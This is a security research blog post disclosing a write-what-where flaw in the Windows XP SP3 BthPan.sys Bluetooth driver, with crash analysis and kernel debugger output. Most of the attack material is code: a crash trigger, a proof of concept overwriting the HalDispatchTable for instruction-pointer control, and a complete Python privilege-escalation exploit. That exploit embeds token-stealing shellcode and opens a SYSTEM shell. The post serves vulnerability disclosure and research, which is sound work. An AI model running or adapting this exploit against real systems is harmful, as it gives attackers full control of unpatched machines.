KoreLogic Blog
Vuln Analysis: Classic write-what-where in XP's BthPan 2014-10-07 18:00

Recently, we came across the BthPan.sys driver while researching Microsoft's Bluetooth implementation within 32-bit Windows XP (SP3), and after conducting a number of fuzzing tests, we discovered that this driver has a vulnerability known as a write-what-where condition. It should be noted that the BthPan.sys driver is not enabled or even installed by default. Thus, the attack described below will only function if the end user or operating system administrator has installed the driver, such as via 'Add/Remove Programs' within the Control Panel, or installing some hardware driver that implicitly enables it.

Once installed, the BthPan.sys driver is loaded into the kernel the next time a Bluetooth device is inserted in the target computer. After that, a process (svchost) is spawned to support Bluetooth operations. By monitoring the IOCTL calls made by this process as a result of various fuzzing runs, we were able to derive portions of the available attack surface within the driver, and that's what led to the discovery of the write-what-where condition.

Example Python code that triggers this vulnerability can be found below. The important piece of information within this code is not the \x90 but rather the OutputAddress (0xffff0000) used within the DeviceIoControlFile function call. Since no memory had been previously allocated at this address, the kernel will throw an error as soon as any attempt is made to write to it.

from ctypes import *
CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory
DeviceIoControlFile = windll.ntdll.ZwDeviceIoControlFile

handle = CreateFileA("\\\\.\\BthPan",0x1|0x2,0,None,0x3,0,None)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x500)),0x1000|0x2000,0x40)
WriteProcessMemory(-1, 0x1, "\x90"*0x400, 0x400, byref(c_int(0)))
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x0012d814,0x1,0x258,0xffff0000,0)
A complete memory dump from the target computer during the blue screen of death was taken. By analyzing the context of the crash, we could see the OuputAddress (0xffff0000) had a write attempt that failed.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except, it must be protected by a Probe.  Typically the address is just plain bad or it is pointing at freed memory.

Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 804f3b76, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
The CPU registers from the TRAP_FRAME at the time of the crash show a MOVS instruction with the EDI register set to the value that we provided to the DeviceIoControlFile() function.
TRAP_FRAME:  b1bc47b0 -- (.trap 0xffffffffb1bc47b0)
ErrCode = 00000002
eax=0000006a ebx=81e05688 ecx=0000001a edx=00000001 esi=8206d538 edi=ffff0000
eip=804f3b76 esp=b1bc4824 ebp=b1bc4868 iopl=0         nv up ei pl nz na po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010203
nt!IopCompleteRequest+0x92:
804f3b76 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
For more details, we've included the stack trace below:
STACK_TEXT:
b1bc4738 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1bc4798 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1bc4798 804f3b76 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1bc4868 804fdaf1 81e056c8 b1bc48b4 b1bc48a8 nt!IopCompleteRequest+0x92
b1bc48b8 80541890 00000000 00000000 00000000 nt!KiDeliverApc+0xb3
b1bc48d8 804fb4a7 8055b1c0 81e70da8 b1bc48fc nt!KiUnlockDispatcherDatabase+0xa8
b1bc48e8 80534b09 8055b1c0 81defa70 8238ffe8 nt!KeInsertQueue+0x25
b1bc48fc f83e26ec 81defa70 00000000 b1bc4928 nt!ExQueueWorkItem+0x1b
b1bc490c b2a465a1 81defa68 00000000 8206d538 NDIS!NdisScheduleWorkItem+0x21
b1bc4928 b2a55544 b1bc4948 b2a5530e 81e05688 bthpan!BthpanReqAdd+0x16b
b1bc4b68 b2a5562b 81e05688 00000258 8242fbc8 bthpan!IoctlDispatchDeviceControl+0x1a8
b1bc4b80 f83e94bb 8242fbc8 81e05688 824ff190 bthpan!IoctlDispatchMajor+0x93
b1bc4b98 f83e9949 8242fbc8 81e05688 824b6c08 NDIS!ndisDummyIrpHandler+0x48
b1bc4c34 804ee129 8242fbc8 81e05688 806d32d0 NDIS!ndisDeviceControlIrpHandler+0x5c
b1bc4c44 80574e56 81e056f8 824ff190 81e05688 nt!IopfCallDriver+0x31
b1bc4c58 80575d11 8242fbc8 81e05688 824ff190 nt!IopSynchronousServiceTail+0x70
b1bc4d00 8056e57c 00000678 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1bc4d34 8053d6d8 00000678 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b1bc4d34 7c90e514 00000678 00000000 00000000 nt!KiFastCallEntry+0xf8
0021f704 7c90d28a 1d1add7a 00000678 00000000 ntdll!KiFastSystemCallRet
0021f708 1d1add7a 00000678 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
0021f73c 1d1aca96 1d1ac910 0021f75c 00000028 _ctypes!DllCanUnloadNow+0x5b4a
0021f76c 1d1a8db8 7c90d27e 0021f8a0 b50f9e3f _ctypes!DllCanUnloadNow+0x4866
0021f81c 1d1a959e 00001100 7c90d27e 0021f870 _ctypes!DllCanUnloadNow+0xb88
0021f984 1d1a54d8 7c90d27e 00b51978 00000000 _ctypes!DllCanUnloadNow+0x136e
0021f9dc 1e07bcec 00000000 00b51978 00000000 _ctypes+0x54d8
00000000 90909000 90909090 90909090 90909090 python27!PyObject_Call+0x4c
00000000 00000000 90909090 90909090 90909090 0x90909000
By changing the TRAP_FRAME to that of the DeviceIoControlFile() function, we can pull the parameters passed to the function off of the stack.
11 b29dbd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
eax=0000006a ebx=82500928 ecx=0000001a edx=00000001 esi=81d485c8 edi=ffff0000
eip=8056e57c esp=b29dbd08 ebp=b29dbd34 iopl=0         nv up ei pl nz na po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010203
nt!NtDeviceIoControlFile+0x2a:
8056e57c 5d              pop     ebp
kd> db [ebp+2C] L?0x4
b29dbd60  00 00 00 00                                      ....
kd> db [ebp+28] L?0x4
b29dbd5c  00 00 ff ff                                      ....
kd> db [ebp+24] L?0x4
b29dbd58  58 02 00 00                                      X...
kd> db [ebp+20] L?0x4
b29dbd54  01 00 00 00                                      ....
kd> db [ebp+1C] L?0x4
b29dbd50  14 d8 12 00                                      ....
The values shown above translate to:
NtDeviceIoControlFile(hValue, 0, 0, 0, 0x0012d814, 0x1, 0x258, 0xffff0000, 0x0);

By changing a few lines in the example code (see diff below), we can show that it is possible to overwrite kernel memory by abusing this IOCTL.

Output from a Local Kernel Debugger attached to the target computer:

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
Debug session time: Fri Aug 15 11:10:02.521 2014 (UTC - 7:00)
System Uptime: 0 days 0:46:37.640
kd> db 0x8054593c L?0x4
8054593c  cc cc cc cc

The DWORD at 0x8054593c is the memory address for the first entry within the HalDispatchTable. This entry corresponds to the ntdll!NtQueryIntervalProfile() function found below, which issues a CALL instruction on the pointer found within the EDX CPU register.

ntdll!ZwQueryIntervalProfile:
7c90d83e b89e000000      mov     eax,9Eh
7c90d843 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c90d848 ff12            call    dword ptr [edx]
7c90d84a c20800          ret     8
7c90d84d 90              nop

The following code will allow the CPU EIP register to become attacker-controlled:

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
    retArray = c_ulong*1024
    ImageBase = retArray()
    callback = c_int(1024)
    cbNeeded = c_long()
    EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
    for base in ImageBase:
        driverName = c_char_p("\x00"*1024)
        GetDeviceDriverBaseNameA(base,driverName,48)
        if (name):
              if (driverName.value.lower() == name):
                    return base
              else:
                    return (base,driverName.value)
     return None

handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\xcc\xcc\xcc\xcc"+"\x90"*(0x400-0x4)
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0)
CloseHandle(handle)
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))

When reviewing the memory dump generated from the code shown above, the debugger will display EIP control.

TRAP_FRAME:  b1b0cc8c -- (.trap 0xffffffffb1b0cc8c)
ErrCode = 00000010
eax=b1b0cd14 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=00cf3058 edi=b1b0cd64
eip=cccccccc esp=b1b0cd00 ebp=b1b0cd20 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
cccccccc ??              ???

By adding shellcode designed to steal the Token from the SYSTEM process (PID=4) and replace the Token of the exploit process, an attacker can elevate his/her privilege level.

# Microsoft BthPan.sys Privilege Escalation
#           Write-What-Where
#               XP SP3
#
# Matt Bergin (KoreLogic / Smash the Stack)
#
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
    retArray = c_ulong*1024
    ImageBase = retArray()
    callback = c_int(1024)
    cbNeeded = c_long()
    EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
    for base in ImageBase:
        driverName = c_char_p("\x00"*1024)
        GetDeviceDriverBaseNameA(base,driverName,48)
        if (name):
              if (driverName.value.lower() == name):
                    return base
              else:
                    return (base,driverName.value)
     return None

handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\BthPan @ %s" % (handle)
tokenSwap = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x44\x50\xBB\x04\x00\x00\x00\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x8B\xB8\xC8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x89\xB8\xC8\x00\x00\x00\x61\xC3"
tokenSwap = tokenSwap.replace("\x41\x41\x41\x41",pack('<L',getpid()))
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\x50\x00\x00\x00"+"\x90"*0x400
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
WriteProcessMemory(-1, 0x5000, tokenSwap, len(tokenSwap), byref(c_int(0)))
#Overwrite Pointer
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0)
print "[+] HalDispatchTable+0x4 overwritten"
CloseHandle(handle)

#Trigger Shellcode
print "[+] Triggering shellcode"
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))

#Start Shell
print "[!] Starting SYSTEM shell"
system("c:\\windows\\system32\\cmd.exe")
exit(0)

Finally ... a shell with SYSTEM privilege has been obtained!

After vendor notification, we published an advisory about this vulnerability, and developed a Metasploit module based on the above PoC.


0 comments Posted by Matt at: 18:00 permalink

Comments are closed for this story.